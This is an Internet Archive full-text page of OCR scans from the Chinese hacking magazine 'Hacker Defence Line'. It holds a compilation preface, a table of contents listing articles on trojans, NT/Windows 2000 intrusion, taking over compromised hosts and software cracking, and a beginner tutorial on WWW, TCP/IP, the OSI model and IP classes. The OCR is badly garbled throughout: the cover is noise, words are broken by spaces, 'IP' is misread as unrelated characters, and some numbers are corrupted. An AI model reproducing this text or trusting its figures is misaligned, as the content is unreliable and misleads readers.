Keep the news in the Wayback Machine. Sign Fight for the Future's letter.

Wayback Machine

Texts

Video

Audio

Software

Images

Donate

More

"Donate to the archive"

Sign up

|

Log in

Upload

Internet Archive Audio

Live Music

Archive

Librivox

Free Audio

Featured

All Audio

Grateful Dead

Netlabels

Old Time Radio

78 RPMs

and Cylinder Recordings

Top

Audio Books

& Poetry

Computers,

Technology and Science

Music, Arts

& Culture

News &

Public Affairs

Spirituality

& Religion

Podcasts

Radio News

Archive

Images

Metropolitan Museum

Cleveland

Museum of Art

Featured

All Images

Flickr Commons

Occupy Wall

Street Flickr

Cover Art

USGS Maps

Top

NASA Images

Solar System

Collection

Ames Research

Center

Software

Internet

Arcade

Console Living Room

Featured

All Software

Old School

Emulation

MS-DOS Games

Historical

Software

Classic PC

Games

Software

Library

Top

Kodi

Archive and Support File

Vintage

Software

APK

MS-DOS

CD-ROM

Software

CD-ROM

Software Library

Software Sites

Tucows

Software Library

Shareware

CD-ROMs

Software

Capsules Compilation

CD-ROM Images

ZX Spectrum

DOOM Level CD

Texts

Open Library

American

Libraries

Featured

All Texts

Smithsonian

Libraries

FEDLINK (US)

Genealogy

Lincoln

Collection

Top

American

Libraries

Canadian

Libraries

Universal

Library

Project

Gutenberg

Children's

Library

Biodiversity

Heritage Library

Books by

Language

Folkscanomy

Government Documents

Video

TV News

Understanding

9/11

Featured

All Video

Prelinger

Archives

Democracy Now!

Occupy Wall

Street

TV NSA Clip

Library

Top

Animation

& Cartoons

Arts & Music

Computers

& Technology

Cultural

& Academic Films

Ephemeral Films

Movies

News &

Public Affairs

Spirituality

& Religion

Sports Videos

Television

Videogame

Videos

Vlogs

Youth Media

Search the history of more than 1 trillion

web pages.

Search the Wayback Machine

Mobile Apps

Wayback Machine (iOS)

Wayback Machine (Android)

Browser Extensions

Chrome

Firefox

Safari

Edge

Archive-It Subscription

Explore the Collections

Learn More

Build Collections

Save Page Now

Capture a web page as it appears now for use as a trusted

citation in the future.

Enter a URL to save

Please enter a valid web address

About

Blog

Events

Projects

Help

Donate

Contact

Jobs

Volunteer

Sign up for free

Log in

About

Blog

Events

Projects

Help

Donate

Contact

Jobs

Volunteer

Full text of "Hacker Defence Line Magazine scans (黑客防线) 2000 - 2015"

See other formats

亚 1 几

Ac 2

7

个 WWWJHACKER-DEFENCE COM

3

上 mr,

SA , 人

1 3 =

这 2

| SA < 3 2

AAA

了 ~ 汉 四

gm 本

司 作 信 什 儿 古 DA 本

EARTHTEES 生生

口 LTTTUews CAEI fa An-

= 全:

1 [和 了 可 A

个 王 村 局? 下

SS

ET 全

5 5

2 已 三 Ta

vv 上 | 全 7

各 全 | 基

re NT

站 3 人 本

sm 人 下

二 拓

随 着 2002 年 的 到 来 ,黑客 防线 ?已 经 走 过 了 将 近 两 年 的 风雨 历程 ,她 每 向 前 走 一 步 都 困难

重重 , 庆幸 的 是 有 广大 朋友 们 的 大 力 支 持 , 为 了 更 好 的 回报 朋友 们 的 厚爱 , 我 们 将 《黑客 防 丝 精

华 本 》 奉 献 给 大 家 , 书 中 内 容 全 部 取 自 《黑客 防线 》, 精 中 选 优 ,经 过 编辑 部 再 次 整理 ,将 全 书 分 为

五 部 分 :基础 篇 ;工具 篇 ;提高 篇 ;高 级 篇 和 破解 篇 .做 到 由 浅 和 人 深 , 层 层 深 入 ,即使 你 以 前 对 网 络

安全 一 无 所 知 ,通过 本 书 也 可 以 快速 上 手 , 了 解 一 些 规范 常识 , 一 步 步 的 深入 到 这 个 领域 内 , 提

高 自身 技术 ,真正 让 朋友 们 感觉 到 网 络 安全 并 不 神秘 , 黑 客 并 不 可 怕 。

光盘 一 直 是 《黑客 防线 》 的 一 大 特色 《黑客 防线 精华 本 》 保 持 这 种 风格 ,将 我 们 搜集 的 最 新 、

最 好 、 最 实用 的 工具 和 补丁 整理 到 一 起 ,每 个 工具 都 有 简单 的 说 明文 件 和 路 径 , 光 盘 中 的 软件 经

过 详细 分 类 ,方便 读者 查询 使 用 。 另 外 补充 了 原来 光盘 所 缺少 的 关于 分 区 、 维 护 、 恢 复 等 常用 工

具 , 使 得 它 更 加 实用 ,更 受 朋 友 们 喜爱 。

如 果 您 已 经 看 过 《黑客 防线 ;一 一 (黑客 防线 精华 本 ;将 是 您 的 珍藏 佳品

如 果 您 还 没 看 过 《黑客 防线 ) 一 一 黑客 防线 精华 本 ;将 是 您 的 首选 读物

基础 部 分

防 黑 达 答 基 袖 和 二 证 证 和 生 全 而 二 区 汪 区 二- 5

常用 网 络 相 关 厨 令 解 区 和 22

AI 常用 俞 伟 生生 捕 全 生生 全 癌 下 人 28

Ftp 命令 大 全 本 29

POP3 命令 简介 区 30

Linux 操作 系统 下 的 一 些 命令 全 生生 全 全 放生 全 全 让 全 二 9 人 全 30

UNIX 作业 系统 操作 人 简介 本 314

特 洛 合 有 林 马 原理 揭秘 3 39

涝 编 语言 基 神 汪 和 站 生生 让 全 生生 生生 和 生生 二 和 43

工具 部 分

NetXRay 的 使 用 PN 0 48

网 络 间谍 一 一 SpyNet Sniffer 55

网 管 放 防 利 医 3 人生 人 57

黑客 首选 利器 一 一 SubSeven pp 和 61

通 往 地 狱 的 网 络 巴 士 一 一 NetBus 70

构建 你 的 个 人 防火 墙 一 一 LockDown 2000 ppp 79

IRC 攻防 策 轿 RN 85

是 高 部 分

网 络 类 全 故人 生生 让 放生 92

网 民 上 网 请 注意 安全 1 pp 生生 开 全 人生 08 94

对 二 齐 衬 机 的 简章 类 得 人 95

利用 ASP 的 特殊 功能 来 实现 的 木马 和 人 候 RN 98

用 finger 来 实现 的 简单 密码 探测 全 你 半生 六 休 二 各 二 二 证 请 训 二 帮 放 人 让 训 仙 本 本 训 生 信 二 二 计生 六 后生 全 全 站 村 汪 二 全 攻 102

Unicode 应 用 扩展 pp 103

成 功 人 侵 NT 后 获取 其 他 用 户 密 码 的 原理 分 析 pp 104

完整 清除 欢 菏 肝 闪 De 108

从 入 侵 和 角度 看 友 indows 2000 的 安全 性 RN 109

Windows NT 系统 账号 安全 攻防 113

TS JSPI . Printer 远程 溢出 攻击

利用 错误 的 MIME 头 实 行 攻 击 人 Re

使 用 普通 用 户 来 执行 超级 用 户 的 命令 9

利用 Winsock 控件 编写 CGI 漏洞 扫描 程序 pp

突破 网 关 限 制 随心 所 和 欲 QQ

透视 CGI 扫描 器 的 原理 和 实现 过 程 PN

用 VB 来 编写 监听 木马 探测 以 及 常规 扫描 的 程序

浅 谈 Windows 2000 的 本 地 破坏 性 操作 PN

与 微软 件 的 第 一 次 按 触 竟然 会 这 样 oo

微软 你 的 “漏洞 ?其 实 是 这 样

教 你 几 招 网 上 “防身 术 ”

黑客 行动 的 蛛丝马迹

CGI 安全 概述 Ne

微机 加 密 心 得 和

了 PP 入 侵 案例 分 析 .ppp 和 155

NetBIOS 人 侵 实 成 ee 159

网 络 攻防 成 生生 和 和 且 让 163

渊 雪 的 另类 应 用 两 则 Ne 165

防范 特洛伊 木马 的 二 十 条 铁 律 166

手动 清除 “红色 代码 本 168

Windows NT 安全 防 犯 措施 RN 169

我 们 是 如 何 进 入 双双 贸 . X XXXXXXXx:com 的 171

网 取 攻 防 小 金 PN 173

简单 Windows 2000 肉鸡 的 获得 176

在 肉鸡 上 制作 Sroek 跳板 178

利用 unicode 漏洞 轻松 建立 自己 的 代理 服务 器 pp 0 179

Named 漏洞 利用 ee 181

木马 冰河 随意 改装 Ne 182

最 快速 登录 双 IN2K TELNET 服务 Ne 185

高 级 部 分

黑客 得 到 NT 的 Admin 以 后 能 做 什 委 PN 187

枚 叭 举 本 地 及 远程 NT 系统 进程 Ne 189

如 何 杀 掉 本 地 和 远程 NT 系统 进程 。 199

微软 终端 服务 Terminal Service 的 几 个 使 用 技巧 212

VMWARE 完全 实现 心得 pp 和 214

下放 二 安全 攻 构 二 生生 于 生生 人 215

Windows 2000 安全 检查 清单 .ppp 218

和 人 侵 检测 方法 和 缺 隋 .Ne 222

获取 Windows 2000 服务 器 系 统 信息 . 全 放 而 二 语 让 尖 人 人 二 个 汪 二 二 和 225

“音色 代码 ?详细 分 析 全 生 全 交 人 228

“ 尼 姆 达 ” 蠕 虫 分 析 与 解决 方 匡 Ne 237

透析 Jessica 允 orm 病毒 244

网 络 区 骗 政 坝 生 生 人 和 和 和 抽 人 250

Solaris 操作 系统 的 安全 化 pp 2S2

防御 缓冲 区 溢出 攻击 方法 比较 分 析 RN 256

拒绝 服务 放 击 生生 乓 各 生生 生计 生生 全 全 263

嗅 探 原理 与 原 嗅 探 技 术 详 解 pp 269

密码 破解 272

芝 信 破 乱 简 症 和 和 279

动态 跟踪 分 析 器 “SOFTICE ”人 “TR20007 286

softice& trw2000 指令 详解 294

Win'API 函数 与 中 断 点 设置 技巧 本 311

Visual Basic 应 用 程序 的 破解 站 生生 下 村人 和 入 信 和 信人 全 生生 全 笛 生生 秆 生生 全 生 生生 放生 314

用 SmartCheck 破 Visi Font Gold RN 316

用 Softice 破 CE 人 2 317

“ 神 拿 "V1. 1 的 破解 过 程 319

总 编辑: 孙 彬 制 作 单位 :北京 地 海 森 波 网 络 技术 公司

编辑 部 主任 : 郭 聪 ) 通 信 地 址 :北京 中 关 村 邮局 008 信箱

编 辑 : 秦 丁 可 邮 政 编码 :100080

杨 薪 协 办 单位 :北京 赛 海 科 技 开发 中 心

美 编 部 : 温 洋

技 术 部 : 郭 聪 辉 技术 支持 电话 :(010)62141445 - 8004

本 期 光盘 设计 : 杨 刀 了 上 - mail: hacker@ pcfriend. com. cn

发 行 总 监 :王磊 才 wzh417@ 263. net

发 行 部 :于 勇 发 行 部 电话 :(010)62141360

邮 购 部 : 王 英 发 行 部 传真 :(010)62141446

全 国 统一 刊 号 :CNI15 - 92017ZTP 邮购 部 电话 :(010)62141445 - 8011

编 辑 : 人 《黑客 防线 ?编辑 部 -~ mail :yougoubu@ pcfried. com. cn

出 - 版 :家 庭 电 脑 世 界 杂 志 社 定 价 :29.00 元 ( 双 CD+ 书 )

一 基本 概念 解析

1 万维网 ( 驳 双 网 )

WWW 即 叉 orld Wide Web , 中文 一 般 称 为 万 维 网

(或 全 球 网 ), 平常 说 的 双 eb. 互联 网 其 实 与 此 是 同一

含义 。 创 建 WWW 是 为 了 解决 Internet 上 的 信息 传递

问题 。 在 WWW 创建 以 前 , 几乎 所 有 的 信息 发 布 都 是

通过 卫 - mail、FTP、Archie 等 实现 的 -E - mail 的 使 用

让 不 同 的 团体 和 个 人 之 间 的 信息 交换 变 得 很 广泛 ;

FTP( 文件 传输 协议 ) 用 来 从 一 台 计算 机 到 另 一 台 计

算 机 进行 文件 传输 ; Archie 用 来 查找 Intermet 上 的 各

种 文件 , 由 于 Internet 上 的 信息 散乱 地 分 布 在 各 处 , 因

此 除非 知道 所 需 信息 的 位 置 , 否则 无 法 对 信息 进行 搜

由 于 这 样 或 那样 的 限制 , 必须 开发 出 一 种 全 新 的

独立 于 各 种 平台 的 方法 , 以 便于 在 lnternet 上 传递 信

县。 正 是 在 这 种 需求 下 , 瑞士 日 内 瓦 的 欧洲 粒子 物理

实验 室 CERN 开发 出 超 文本 标记 语言 (HTML)。HTML

是 从 一 种 称 为 标准 化 标记 语言 (SCML) 的 文档 格式 语

言 演化 而 来 的 。HTML 设计 为 易于 学 习 、 使 用 和 在

Iternet 上 传递 信息 的 一 种 文档 表示 语言 ,HTML 比

SGML 更 简单 易学 。 为 了 在 Intemet 上 传递 HTML 文

档 , 要 使 用 基于 TCP/ 了 的 协议 。 这 种 协议 后 来 成 为 超

文本 传输 协议 (HITP) 。.WWW 是 随 HTTP 和 HTML 一

起 出 现 的 , Web 通过 使 用 强 有 力 的 媒介 传递 信息 克服

了 许多 早期 信息 传递 的 限制 ,Web 服务 器 利用 HITTP

传递 HTML 文件 ,Web 浏览 器 使 用 HITP 检索 HIML

文件 ,从 web 服务 器 一 旦 检索 到 信息 ,Web 浏览 器 就

会 以 静态 和 交互 (如 文本 、 图 像 ) 的 形式 显示 各 种 对

象 。

随 着 文本 、 图 像 、 影 像 、 声 音 和 交互 式 应 用 程序 的

统一 , 双 WW 已 经 成 为 信息 交换 的 一 种 很 有 效 的 方

式 。 正 是 由 于 双 W 允 的 出 现 , 我们 才 可 以 浏览 各 种 信

息 来 源 , 并 且 通 过 各 种 超级 链接 从 一 种 信息 来 源 转 到

另 一 种 信息 来 源 。 超 级 链接 是 指向 观 eb 页 面 的 统一

资源 定位 器 (URL) 的 对 象 。 当 用 户 单 击 一 个 超级 链接

时 ,该 用 户 就 会 到 超级 链接 所 指向 的 Web 页 面 。URL

可 以 看 作 是 Web 页 面 的 地 址 。 每 个 Web 页 面 都 有 一

个 或 多 个 URL 与 之 相关 。 在 特殊 应 用 程序 和 浏览 器

的 推动 下 , Web 很 快 成 为 Paterneth 发 布 文本 和 多 媒体

信息 的 一 种 有 效 手 段 。 双 WW 很 大 程度 上 是 在 NCSA

(National Cente for Supercomputing Applications) 于

1993 年 发 布 的 Mosai(Web 测 览 器 ) 后 得 到 普及 的 。

双 WW 之 所 以 如 此 流行 是 因为 它 克 服 了 Web 浏

览 器 出 现 之 前 许多 应 用 程序 的 缺点 , 这 些 应 用 程序 在

Internet 上 用 来 发 布 信息 。 在 过 去 ,Internet 上 几乎 所 有

信息 都 是 字符 文本 格式 , 这 样 信息 不 能 按照 多 种 格式

表示 , 导致 了 浏览 和 搜索 方面 的 困难 。 而 WWW 上 的

信息 可 以 有 多 种 格式 ,易于 浏览 和 理解 。 例 如 ,在 讨论

复杂 问题 时 ,可 以 使 用 图 表 、 影 像 剪辑 甚至 互动 式 应

用 程序 , 而 不 仅仅 是 字符 文本 , 这 样 会 便于 解释 论题 ,

使 人 一 目 了 然 。WWW 集成 了 所 有 的 视觉 辅助 效果 来

表示 信息 。

由 于 叉 WW 是 基于 客户 机 / 服务 器 模式 , 因此 它

是 与 平台 无 关 的 , 通 常服 务 器 对 于 浏览 Web 站 点 的

用 户 是 透明 的 , 这 是 WWW 之 所 以 成 功 的 另 一 个 原

因 。CERN 所 定义 的 Internet 标准 和 协议 不 是 私有 标

准 , 因 此 任何 人 都 有 权 使 用 与 Pntemet 标准 和 规范 一

致 的 自己 的 双 eb 服务 器 和 Web 浏览 器 。 这 种 自由 和

开放 性 使 得 一 些 机 构 ( 如 NCSA ,Netscape 和 Microsoft )

能 够 扩充 现 有 的 mtermet 标准 (如 HIML) ,满足 双 W 允

用 户 更 广泛 的 需要 。 正 是 这 些 先 驱 机 构 的 努力 , 才 使

得 双 WW 一 直 成 为 nternet 的 首选 信息 发 布 工具 , 为

Internet 的 使 用 者 提供 更 多 的 选择 和 控制 权 。

与 其 他 信息 发 布 工具 相 比 , 双 WW 由 于 所 需 的 费

用 很 低 ,并 且 覆 盖 面 广 , 因 而 具有 很 大 的 吸引 力 。 另 外

使 用 各 种 搜索 机 制 Web 站 点 分 类 目录 数据 库 注 册 一

个 Web 站 点 , 可 以 使 客户 在 需要 时 得 到 所 需 的 信

ZL OD

2.TCP/ 亚 协议

TCPZ 了 PP 协议 是 Internet 和 Intranet 的 基石 , 用 于

从 一 台 机 器 向 另 一 台 机 器 传输 数据 和 信息 。 在 本 章 ,

将 涉及 到 TCP/ 了 下 协议 的 历史 ,TCP/ 卫 协议 中 的 卫

协议 、TCP 协议 和 UDP 协议 , 以 及 建立 在 这 些 协 议 之

上 的 各 种 CTP/ 了 下 服务 。

TCP/ 亚 的 历史

TCP/ 了 下 的 历史 可 以 追 淹 至 70 年 代 中 期 , 当 时

ARPA(Advanced Research Project Agency, 高 级 研究 计

划 局 ) 为 了 实现 异种 网 之 间 的 互联 与 互通 , 大 力 资助

网 间 网 技术 的 研究 开发 ,于 1977 年 到 1979 年 间 推 出

与 目前 形式 一 样 的 TCP/ 了 正体 系 结构 和 协议 规范 。

1980 年 前 后 ,DARPA( 国 防 部 高 级 研究 计划 局 )

开始 将 ARPANET 上 的 所 有 机 器 转向 TCP/ 卫 协议 ,

并 以 ARPANET 为 主干 建立 Internet。

为 了 推广 TCP/ 卫 协议 , 高 级 研究 计划 局 以 低 价

出 售 TCP/ 卫 的 实现 , 并 通过 资助 美国 伯 克 和 加 州 大

学 将 TCP/ 了 下 协议 融入 BSD UNIX 版 本 。1983 年 , 伯 克

利加 州 大 学 推出 内 含 TCP/ 亚 的 第 一 个 BSD UNIX 版

本 , 该 协议 软件 可 谓 生 道 其 时 , 因为 当时 许多 大 学 正

缺乏 一 种 有 效 的 联网 手段 以 建造 它们 各 自 的 局 域

网 。

BSD UNIX 成 功 的 原因 是 多 方面 的 。 首 先 , 除 了 提

供 标准 的 TCP/ 王 应 用 程序 外 ,还 包括 一 组 网 络 服务

工具 ,这 些 工具 和 UNIX 的 使 用 方式 相 接近 , 从 而 深

受 UNK 用 户 的 欢迎 。 第 二 ,BSD UNIX 提供 一 种 访问

通讯 协议 的 系统 调用 : Socket, Socket 是 一 种 进程 间 通

信 的 机 制 , 使 程序 员 可 以 方便 地 访问 TCP/ 卫 协议 ,

或 多 或 少 地 推动 了 TCP/ 了 下 的 研究 开发 工作 。

在 1985 年 , 美国 国家 科学 基金 会 (NSF,National

Scientific Foundation) 开始 涉足 TCP/ 了 正 的 研究 和 开

发 ,并 逐渐 成 为 极为 重要 的 角色 。 国 家 科学 基金 会 资

助 建立 了 NSFNET 网 并 采用 TCP/ 了 下 为 其 传输 协议 。

目前 , NSFNET 已 经 取代 ARPANET 成 为 Internet 的 新

的 主干 。

到 今天 , TCP/ 了 琴 技术 及 mternet 已 得 到 极为 迅 狐

的 发 展 , 出 现 了 大 量 从 事 Pnternet 技术 开发 和 服务 的

公司 , 如 近 几 年 崛起 的 Netscape 公司 和 Intermnet 服务

提供 商 Hotmail。 如 今 Intemet 被 人 们 认为 是 一 块 新 的

淘金 地 ,人 们 从 中 也 享受 到 不 少 nternet 带 来 的 便利 ,

如 台 WW 服务 研 - mail 服务 和 新 出 的 Intemet 电话 。

TCP/ 亚 基本 概念

Internet 是 全 球 最 大 的 、 开 放 的 、 由 众多 网 络 互联

而 成 的 计算 机 网 络 , 在 这 个 庞大 的 网 络 中 又 可 以 分 成

许 许 多 多 的 子 网 和 子 网 的 子 网 ,不同 子 网 或 网 络 可 能

使 用 不 同 的 介质 , 如 FDDI( 光 缆 分 布 式 数据 接口 )、

ATM( 异 步 传输 模式 ) 以 太 网 和 无 线 网 等 。TCP/ 卫 就

是 用 来 屏蔽 各 种 网 络 和 机 器 的 不 同 , 使 它们 可 以 相互

通信 ,并 向 上 层 提供 一 个 公共 的 界面 ,下 面 , 本 书 将 介

绍 一 些 TCPZZ 的 基本 概念 。

(1) 0SI 层次 模型 和 TCP/ 正 层次 模型

当 谈 论 网 络 时 , 会 经 常 谈 到 协议 栈 模型 , 这 里 只

介绍 0SI 模型 和 TCP/ 耳 模型 、OSI 模型 是 1978 由 国

际 化 标准 组 织 定义 的 一 个 协议 标准 , 旨 在 发 展开 放 式

系统 并 作为 一 个 基石 来 比较 不 同 的 通信 系统 。 与 0SI

模型 不 同 , TCPZP 层次 模型 是 在 实 戚 中 发 展 起 来 的 ,

层次 分 类 和 各 层 功 能 与 0SI 模型 都 有 所 不 同 , 但 可 以

把 它 和 标准 0SI 模型 作 比 较 , 以 帮助 理解 TCP/ 了 下 层

次 模型 。

1)0SI 层次 模型

0SI 模型 有 7 层 , 如 图 1 所 示 。 当 接受 数据 时 , 数

据 自 下 而 上 传输 , 当 发 送 数据 时 , 数 据 自 上 而 下 传

输 。

主机 BB

图 1 0SI 层次 模型

1. 物理 层 建立 在 物理 介质 上 , 实 现 机 械 和 电气

过 程 的 接口 ,主要 包括 电缆 、 物 理 端口 和 附属 设备 。

2. 数据 链 路 层 建立 在 物理 传输 能 力 的 基础 上 ,

以 帧 为 单位 传输 数据 , 一 个 典型 数据 链 路 层 数 据 巅 如

图 2 所 示 。

目标 地 址 | 源 地 址 | 长 类 | 数据 | CRC

| 度 型

类 | 正 数 据 包

IEEE 802.2/802. 3 封装 加 司 重 本 |

类 | RARP

图 2 数据 链 路 层 数 据 帧

地 址 段 含 有 发 送 节点 和 接收 节点 的 地 址 ,控制 段

用 来 表示 数 格 连接 帧 的 类 型 , 数据 段 包含 实际 要 传输

的 数据 ,差错 控制 段 用 来 检测 传输 中 怖 出 现 的 错误 。

数据 链 路 层 可 使 用 的 协议 有 SLIP、PPP\X25 和 帧

中 继 等 等 。

3. 网 络 层

网 络 层 的 主要 功能 是 提供 路 由 , 即 选择 到 达 目 标

主机 的 最 佳 路 径 , 并 沿 该 路 径 传送 数据 包 。 除 此 之

外 , 网 络 层 还 要 能 够 消除 网 络 拥挤 , 即 具有 流量 控制

和 拥挤 控制 的 能 力 。 我 们 通常 所 说 的 路 由 器 就 工作 在

这 个 层次 上 。

4. 传输 层

传输 层 用 于 提高 网 络 层 服务 质量 , 提供 可 靠 的 端

到 端的 数据 传输 , 比如 说 两 个 位 于 不 同 机 器 上 的 进程

之 间 的 通信 。TCP 层 就 相当 于 0SI 模 型 中 的 传输 广 。

5. 会 话 层

会 话 层 利用 传输 层 来 提供 增加 的 会 话 服务 , 会 话

可 能 是 一 个 用 户 通过 网 络 登录 到 一 个 主机 , 或 一 个 正

在 建立 的 用 于 传输 文件 的 会 话 。

6. 表示 层

表示 层 用 于 数据 管理 的 表示 方式 , 如 用 于 文本 文

件 的 ASCI 和 BCDIC, 用 于 表示 数字 的 1S 或 2S 补 码

表示 形式 。 如 果 通 信 双 方 用 不 同 的 数据 表示 方法 ,他

们 就 不 能 互相 理解 。 表 示 层 就 是 用 于 屏 项 这 种 不 同 之

处 。

7. 应 用 层

应 用 层 包含 用 户 应 用 程序 执行 通信 任务 所 需要

的 协议 和 功能 ,如 电子 邮件 和 文件 传输 等 。

2)TCPZIP 层次 模型

TCP/ 了 P 的 层次 模型 只 有 4 层 , 但 它 的 每 一 层 可

能 包含 0SI 模型 的 多 层 , 如 它 的 网 络 访问 层 包括 物理

层 和 数据 链 路 层 ,其 层次 结构 如 图 3 所 示 。

应 用 层

应 用 层

图 3 TCP/ 了 PP 层次 模型

1. 网 络 访问 层 (以 太 网 、FDDI、ATM 和 Token

Ring( 念 牌 环 ))

相当 于 0SI 模型 中 的 物理 层 加 上 数据 链 路 层 , 是

TCP/ 耳 结构 中 的 最 底层 ,负责 从 上 层 接 收 耻 数 据 包

并 把 正 数据 包 进 一 步 处 理 成 数据 帧 发 送出 去 , 或 从

网 络 上 接收 数据 帧 , 解 开 数 据 帧 , 抽出 卫 数据 包 , 并

把 数据 包 交 给 了 下 层 。

2. 互联 网 层 ( 卫 )

相当 于 0SI 模型 中 的 网 络 层 。 有 关 卫 层 的 数据

结构 和 路 由 的 实现 。 了 下 层 的 服务 是 无 连接 的 不 可 靠

的 ,这 样 下 层 的 实现 就 变 得 简单 。 服 务 可 靠 性 的 实现

交 给 了 上 层 协 议 , 即 TCP 层 。

3. 传输 层 (TCP 或 UDP)

TCP 是 面向 连接 的 、 可 靠 的 , 而 UDP 正好 相反 。

TCP 一 般 用 于 传输 硬件 可 靠 性 差 的 广域网 , 而 UDP

用 于 硬件 可 靠 性 好 的 局 域 网 。

4. 应 用 层 (FTP、Telnet 和 HTTP )

向 用 户 提 供 一 组 常用 的 应 用 程序 , 如 FTp 和 和

SMTP 应 用 程序 等 。 严 格 说 来 , TCP/ 了 正 网 际 协议 只 包

含 如 图 1 - 3 所 示 下 面 3 层 ,应 用 程序 不 能 算 作 TCP/

了 的 一 部 分 ,事实 上 用 户 完全 可 以 在 传输 层 上 建立 自

己 的 应 用 程序 。

在 TCP/Z 了 中, 数据 包 的 特点 是 一 层 套 一 层 的 ,

每 一 个 协议 层 用 特殊 的 连接 围绕 上 一 层 的 数据 包 , 像

包括 与 该 层 相关 的 控制 信息 , 而 本 体 是 从 上 一 层 传 下

来 的 数据 。 每 一 层 把 上 一 层 的 数据 作为 本 体 , 并 且 加

上 本 层 适 当 的 报头 控制 信息 , 然 后 再 交 给 下 一 层 处

理 。

3) 以 太 层 数 据 帧 结构

因为 以 太 网 是 一 种 极为 常用 的 网 络 , 下 面 介 绍 一

下 以 太 网 数据 包 的 组 成 。

以 太 层 数据 包 由 两 部 分 组 成 : 以 太 报头 和 以 太 本

体 , 本 体 一 般 是 卫 数据 包 , 但 也 可 能 是 ARP(Addres

Resolution Protocol, 地 址 解析 协议 ) 和 RARP(Reverse“

Address Resolution Protocol , 闭 向 地 址 解析 协议 ) 请 求 /

回答 包 。 报 头 包 括 三 个 部 分 :目标 地 址 、 源 地 址 和 数据

帧 类 型 (是 卫 报 文 还 是 ARP 请 求 / 回答 报 文 , 由 它 来

决定 )。

4) 网 络 接口

每 一 个 要 连接 到 网 络 上 的 设备 必须 有 一 个 网 络

接口 ,该 网 络 接口 必须 与 网 络 运行 的 媒体 相 一 致 , 如

令 牌 环 的 网 卡 不 可 能 连接 到 一 个 同 轴 电 缆 网 络 。

下 面 是 一 些 常 用 的 媒体 类 型 :

光 导 纤维 、 双 绞 线 电缆 、 以 太 网 (RG - 8U 同 轴 电

缆 )、Thinnet(RG - 58U 同 轴 电 缆 )、 令 牌 环 。

大 部 分 网 络 接口 有 一 个 硬件 地 址 , 如 以 太 网 的 硬

件 地 址 , 也 叫 MAC(Madis Access Control, 媒体 访问 控

制 ) 地 址 。 是 一 个 48 位 的 十 六 进 制 数 , 形 如 0;0:C0:

6f:2d:40。 而 且 每 一 个 接口 都 要 有 一 个 卫 地 址 ,下地

址 和 硬件 地 址 是 相对 应 的 , 很 多 情况 下 可 能 是 一 一 对

应 的 。

Iconfig 是 一 个 查看 和 配置 接口 的 工具 , 一般 在

文 持 网 络 的 操作 系统 中 都 含有 这 个 命令 , 如 Windows

95、Wndows NT 和 UNIX。 大 家 可 以 试 试 从 而 对 接口 有

一 个 感性 的 认识 。 另 一 个 有 用 的 命令 是 netstat。

亚 协议

了 正 协 议 是 位 于 IS0 七 层 协议 中 网 络 层 的 协议 , 它

实现 了 Internet 中 自动 路 由 的 功能 , 即 寻 径 的 功能 。IP

协议 可 以 被 看 成 一 辆 辆 的 卡车 , 而 TCP 或 UDP 则 是

卡车 上 面 的 货物 , 只 要 告诉 卡车 司机 的 目的 地 ,具体

他 怎样 去 , 选择 什么 路 就 不 需要 关心 了 , 可 以 说 了 是

TCP 的 载体 。 那 么 下 怎样 实现 了 路 由 的 功能 呢 ?

这 正 是 下 面 所 要 讲 到 的 。

1) 了 PP 地址

JInternet 上 每 一 台 计 算 机 都 要 至 少 拥 有 一 个 耳 地

洋 萤 层 一 样 。 在 每 一 层 ,数据 包 分 为 报头 和 本 体 :报头 ,

址 。 一 般 来 说 ,一 台 机 器 的 卫 地 址 数 和 网 络 接口 数 是

相同 的 , 但 有 些 情 况 下 , 一 个 接口 可 能 会 有 两 个 或 多

个 卫 地 址 ,这 些 情况 是 很 少 的 。

我 们 生活 在 地 球 上 , 要 有 我 们 的 地 址 ,, 这样 其 他

人 才 可 以 和 我 们 通信 , 同样 在 Intermet 上 , 计算 机 也 需

要 地 址 , 即 卫 地 址 。

卫 地 址 的 主要 类 型 有 五 种 :A、B、C、D 和 了 ,一 般

A、B、C 类 地 址 更 为 常用 ; 每 类 地 址 都 是 由 32 位 或 4

个 字 节 组 成 。

1.A 类 地 址

在 A 类 地 址 中 第 一 个 8 位 字 节 表示 网 络 部 分 ,其

余 3 个 8 位 字 节 用 来 标识 主机 , 如 图 4 所 示 。A 类 IP

地 址 的 第 一 段 数 字 范 围 为 1 ~ 127, 每 个 A 类 地 址 可

连接 163877064 台 主 机 , Intermnet 上 有 126 个 A 类 地

址 。

7 bits 24 bits

荆 削 NET ID HOST ID

图 4 A 类 地 址

2.B 类 地 址

在 了 类 地 址 中 , 两 个 8 位 字 节 表示 网 络 部 分 , 其

余 两 个 8 位 字 节 表示 主机 ,如 图 5 所 示 。B 类 症 地 址

的 第 一 段 数 字 范 围 为 128 ~ 191, 每 个 B 类 地 址 可 连接

64516 台 主 机 ,Intemet 上 有 16256 个 B 类 地 址 。

14 bits 16 bits

四 NET ID HOST ID

图 5 B 类 地 址

3. C 类 地 址

C 类 地 址 使 用 3 个 8 位 字 节 作 为 网 络 部 分 , 只 有

一 个 8 位 字 节 留 给 主机 ,如 图 6 所 示 。C 类 瑟 地 址 的

第 一 段 数字 范围 为 192 ~ 223, 每 个 C 类 地 址 可 连接

254 台 主 机 ,Internet 上 有 2054512 个 C 类 地 址 。

21 bits 8 bits

日 加 NET ID HOST ID

图 6 C 类 地 址

4.D 类 地 址 用 作 多 目的 地 信息 的 传输 , 作 为 备 -

用 ,D 类 了 正 地 址 的 第 一 段 数 字 范 围 为 224 ~ 239。

5. 卫 类 地 址 保留 , 仅 作为 Ptemet 的 实验 和 开发

之 用 ,了 类 了 王 地 址 的 第 一 段 数字 范围 为 240 ~ 254。

从 上 面 三 个 图 中 , 可 以 发 现 A 类 或 B 类 网 络 拥

有 数 以 千 计 或 数 以 百 万 计 的 主机 , 这 是 不 切合 实际

的 , 因 为 不 可 能 有 任何 一 个 网 , 其 主机 数 会 有 这 人 么

多 。 为 了 解决 这 个 问题 , 人 们 发 明子 网 (Subnet) 的 概

念 ,就 是 把 A.B 类 地 址 进一步 地 细 化 ,如 图 7 所 示 。。

14 Pbits 8 bits 8 hbits

日 吕 NET ID | SUBNET 卫 | HOST ID

图 7 子 网 化 一 个 B 类 地 址

这 就 有 了 一 个 新 的 问题 , 根据 地 址 类 型 可 以 确定

地 址 中 的 NET ID 和 HOST ID 部 分 ,但 SUBNET ID 怎

么 和 HOST ID 分 离开 来 呢 ? 这 时 需要 用 到 了 网 掩 码 。

子 网 掩 码 是 一 个 32 位 的 值 , 其 中 网 络 ID 和 子 网 也

